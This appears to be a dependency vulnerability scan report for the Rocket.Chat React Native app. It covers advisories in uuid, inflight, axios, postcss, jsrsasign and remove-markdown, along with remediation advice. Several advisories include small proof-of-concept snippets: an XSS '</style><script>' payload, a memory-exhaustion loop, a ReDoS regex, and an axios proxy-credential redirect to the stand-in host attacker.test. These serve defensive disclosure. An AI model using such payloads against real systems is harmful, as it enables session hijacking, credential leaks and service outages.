Improper Validation of Specified Index, Position, or Offset in Input

  • Vulnerable module: uuid
  • Introduced through: expo@54.0.35, react-native-bootsplash@6.3.12 and others

Detailed paths

  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative expo@54.0.35 @expo/config-plugins@54.0.4 xcode@3.0.1 uuid@7.0.3
  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative react-native-bootsplash@6.3.12 @expo/config-plugins@10.1.2 xcode@3.0.1 uuid@7.0.3
  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative expo@54.0.35 @expo/config@12.0.13 @expo/config-plugins@54.0.4 xcode@3.0.1 uuid@7.0.3
  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative expo@54.0.35 @expo/cli@54.0.25 @expo/config-plugins@54.0.4 xcode@3.0.1 uuid@7.0.3
  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative expo@54.0.35 @expo/metro-config@54.0.16 @expo/config@12.0.13 @expo/config-plugins@54.0.4 xcode@3.0.1 uuid@7.0.3
  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative expo@54.0.35 @expo/cli@54.0.25 @expo/config@12.0.13 @expo/config-plugins@54.0.4 xcode@3.0.1 uuid@7.0.3
  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative expo@54.0.35 expo-constants@18.0.13 @expo/config@12.0.13 @expo/config-plugins@54.0.4 xcode@3.0.1 uuid@7.0.3
  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative expo-notifications@0.32.17 expo-constants@18.0.13 @expo/config@12.0.13 @expo/config-plugins@54.0.4 xcode@3.0.1 uuid@7.0.3
  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative expo@54.0.35 @expo/cli@54.0.25 @expo/prebuild-config@54.0.8 @expo/config-plugins@54.0.4 xcode@3.0.1 uuid@7.0.3
  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative expo@54.0.35 @expo/cli@54.0.25 @expo/metro-config@54.0.16 @expo/config@12.0.13 @expo/config-plugins@54.0.4 xcode@3.0.1 uuid@7.0.3
  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative expo@54.0.35 @expo/cli@54.0.25 @expo/prebuild-config@54.0.8 @expo/config@12.0.13 @expo/config-plugins@54.0.4 xcode@3.0.1 uuid@7.0.3
  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative expo@54.0.35 expo-asset@12.0.13 expo-constants@18.0.13 @expo/config@12.0.13 @expo/config-plugins@54.0.4 xcode@3.0.1 uuid@7.0.3

Overview

uuid is a RFC4122 (v1, v4, and v5) compliant UUID library.

Affected versions of this package are vulnerable to Improper Validation of Specified Index, Position, or Offset in Input due to accepting external output buffers but not rejecting out-of-range writes (small buf or large offset). This inconsistency allows silent partial writes into caller-provided buffers.

PoC

cd /home/StrawHat/uuid
npm ci
npm run build

node --input-type=module -e "
import {v4,v5,v6} from './dist-node/index.js';
const ns='6ba7b810-9dad-11d1-80b4-00c04fd430c8';
for (const [name,fn] of [
  ['v4',()=>v4({},new Uint8Array(8),4)],
  ['v5',()=>v5('x',ns,new Uint8Array(8),4)],
  ['v6',()=>v6({},new Uint8Array(8),4)],
]) {
  try { fn(); console.log(name,'NO_THROW'); }
  catch(e){ console.log(name,'THREW',e.name); }
}"

Remediation

Upgrade uuid to version 11.1.1, 14.0.0 or higher.

References

medium severity

Missing Release of Resource after Effective Lifetime

  • Vulnerable module: inflight
  • Introduced through: @react-native/codegen@0.80.3, react-native@0.81.5 and others

Detailed paths

  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative @react-native/codegen@0.80.3 glob@7.2.3 inflight@1.0.6
  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative react-native@0.81.5 glob@7.2.3 inflight@1.0.6
  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative react-native@0.81.5 @react-native/codegen@0.81.5 glob@7.2.3 inflight@1.0.6
  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative react-native@0.81.5 babel-jest@29.7.0 babel-plugin-istanbul@6.1.1 test-exclude@6.0.0 glob@7.2.3 inflight@1.0.6
  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative expo@54.0.35 @expo/cli@54.0.25 @react-native/dev-middleware@0.81.5 chromium-edge-launcher@0.2.0 rimraf@3.0.2 glob@7.2.3 inflight@1.0.6
  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative react-native@0.81.5 @react-native/community-cli-plugin@0.81.5 @react-native/dev-middleware@0.81.5 chromium-edge-launcher@0.2.0 rimraf@3.0.2 glob@7.2.3 inflight@1.0.6
  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative expo@54.0.35 babel-preset-expo@54.0.11 @react-native/babel-preset@0.81.5 @react-native/babel-plugin-codegen@0.81.5 @react-native/codegen@0.81.5 glob@7.2.3 inflight@1.0.6
  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative react-native@0.81.5 babel-jest@29.7.0 @jest/transform@29.7.0 babel-plugin-istanbul@6.1.1 test-exclude@6.0.0 glob@7.2.3 inflight@1.0.6

Overview

Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime via the makeres function due to improperly deleting keys from the reqs object after execution of callbacks. This behavior causes the keys to remain in the reqs object, which leads to resource exhaustion.

Exploiting this vulnerability results in crashing the node process or in the application crash.

Note: This library is not maintained, and currently, there is no fix for this issue. To overcome this vulnerability, several dependent packages have eliminated the use of this library.

To trigger the memory leak, an attacker would need to have the ability to execute or influence the asynchronous operations that use the inflight module within the application. This typically requires access to the internal workings of the server or application, which is not commonly exposed to remote users. Therefore, “Attack vector” is marked as “Local”.

PoC

const inflight = require('inflight');

function testInflight() {
  let i = 0;
  function scheduleNext() {
    let key = `key-${i++}`;
    const callback = () => {
    };
    for (let j = 0; j < 1000000; j++) {
      inflight(key, callback);
    }

    setImmediate(scheduleNext);
  }


  if (i % 100 === 0) {
    console.log(process.memoryUsage());
  }

  scheduleNext();
}

testInflight();

Remediation

There is no fixed version for inflight.

References

medium severity

Insertion of Sensitive Information Into Sent Data

  • Vulnerable module: axios
  • Introduced through: axios@0.30.3

Detailed paths

  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative axios@0.30.3
    Remediation: Upgrade to axios@0.32.0.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data in the setProxy function. An attacker can obtain proxy credentials by inducing a redirect from an HTTP request sent through an authenticated proxy to an HTTPS endpoint where no proxy applies, causing the proxy credentials to be forwarded to the final origin.

Note:

This is only exploitable if the application is running in Node.js with the HTTP adapter, an initial HTTP request uses an authenticated proxy, redirects are enabled, the redirect target does not use a proxy, and the redirect shape is not stripped by confidential-header handling.

Workaround

This vulnerability can be mitigated by setting maxRedirects: 0 and handling redirects manually, ensuring Proxy-Authorization is not copied to requests that are not sent through the proxy. Avoid using reusable authenticated HTTP proxy credentials for requests to untrusted origins. If exposure is suspected, rotate the proxy credential.

PoC

process.env.HTTP_PROXY = 'http://user:pass@127.0.0.1:8080';
delete process.env.HTTPS_PROXY;

// The local HTTP proxy receives this request and returns:
// HTTP/1.1 302 Found
// Location: https://attacker.test/final
await axios.get('http://attacker.test/start');

Remediation

Upgrade axios to version 0.32.0, 1.16.0 or higher.

References

medium severity

Insertion of Sensitive Information Into Sent Data

  • Vulnerable module: axios
  • Introduced through: axios@0.30.3

Detailed paths

  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative axios@0.30.3
    Remediation: Upgrade to axios@0.31.1.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data through the request configuration handling in the adapters/xhr.js adapter and helpers/resolveConfig.js‎. An attacker can force the withXSRFToken option to a truthy non-boolean value, or pollute Object.prototype.withXSRFToken, by supplying a crafted request config that causes the XSRF header to be sent on cross-origin requests. When withXSRFToken is treated as a generic truthy value, the same-origin check is bypassed, and the browser reads the XSRF cookie and attaches it to an attacker-controlled destination. This exposes the user's XSRF token to a cross-origin endpoint, potentially enabling request forgery against the victim's authenticated session.

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

medium severity

Cross-site Scripting (XSS)

  • Vulnerable module: postcss
  • Introduced through: expo@54.0.35

Detailed paths

  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative expo@54.0.35 @expo/metro-config@54.0.16 postcss@8.4.49
    Remediation: Upgrade to expo@55.0.25.
  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative expo@54.0.35 @expo/cli@54.0.25 @expo/metro-config@54.0.16 postcss@8.4.49
    Remediation: Upgrade to expo@55.0.0.

Overview

postcss is a PostCSS is a tool for transforming styles with JS plugins.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in CSS Stringify Output. An attacker can execute arbitrary JavaScript code in the context of the affected web page by submitting crafted CSS containing </style> sequences that are not properly escaped when embedded within HTML <style> tags.

PoC

const postcss = require('postcss');

// Parse user CSS and re-stringify for page embedding
const userCSS = 'body { content: "</style><script>alert(1)</script><style>"; }';
const ast = postcss.parse(userCSS);
const output = ast.toResult().css;
const html = `<style>${output}</style>`;

console.log(html);
// <style>body { content: "</style><script>alert(1)</script><style>"; }</style>
//
// Browser: </style> closes the style tag, <script> executes

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade postcss to version 8.5.10 or higher.

References

medium severity

Division by zero

  • Vulnerable module: jsrsasign
  • Introduced through: jsrsasign@11.0.0

Detailed paths

  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative jsrsasign@11.0.0
    Remediation: Upgrade to jsrsasign@11.1.1.

Overview

jsrsasign is a free pure JavaScript cryptographic library.

Affected versions of this package are vulnerable to Division by zero due to the RSASetPublic/KEYUTIL parsing path in ext/rsa.js and the BigInteger.modPowInt reduction logic in ext/jsbn.js. An attacker can force RSA public-key operations (e.g., verify and encryption) to collapse to deterministic zero outputs and hide “invalid key” errors by supplying a JWK whose modulus decodes to zero.

Remediation

Upgrade jsrsasign to version 11.1.1 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: remove-markdown
  • Introduced through: remove-markdown@0.3.0

Detailed paths

  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative remove-markdown@0.3.0
    Remediation: Upgrade to remove-markdown@0.5.0.

Overview

remove-markdown is a node.js module that will remove (strip) Markdown formatting from text. Markdown formatting means pretty much anything that doesn’t look like regular text, like square brackets, asterisks etc.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) if a string contains large numbers of consecutive spaces.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade remove-markdown to version 0.5.0 or higher.

References

medium severity

MPL-2.0 license

  • Module: lightningcss
  • Introduced through: expo@54.0.35

Detailed paths

  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative expo@54.0.35 @expo/metro-config@54.0.16 lightningcss@1.32.0
  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative expo@54.0.35 @expo/cli@54.0.25 @expo/metro-config@54.0.16 lightningcss@1.32.0

MPL-2.0 license